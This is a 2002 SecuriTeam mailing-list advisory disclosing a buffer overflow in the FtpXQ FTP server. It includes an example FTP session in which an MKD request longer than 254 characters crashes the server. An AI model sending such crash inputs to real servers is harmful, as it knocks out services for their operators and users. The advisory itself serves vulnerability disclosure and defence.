[NT] FtpXQ MKD Buffer Overflow

From: support@securiteam.com
Date: 05/28/02


From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 28 May 2002 08:02:57 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  FtpXQ MKD Buffer Overflow
------------------------------------------------------------------------

SUMMARY

 <http://www.datawizard.net/Support/FtpXQ/ftpxq.htm> FtpXQ is an FTP
Server built using the WinsockQ from DataWizard Technologies. A security
vulnerability in the product allows remote attackers to overflow an
internal buffer by providing an overly long "make directory" request.

DETAILS

Vulnerable systems:
 * FtpXQ Server version 2.0.98 and above

Example:
% ftp localhost
Connected to xxxxxxxxx.rh.rit.edu.
220 DataWizard Technologies' FtpXQ FTP Server. (Version 2.0.98).
User (xxxxxxxxx.rh.rit.edu:(none)): test
331 OK need password.
Password:
230 Welcome to DataWizard Technologies' FtpXQ FTP Server.
ftp> MKD AAAAAAAAAAAAA.....AAAA

(longer than 254 chars crashes the server)

ADDITIONAL INFORMATION

The information has been provided by <mailto:snakebyte@gmx.de> SnakeByte
/ Eric Sesterhenn.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.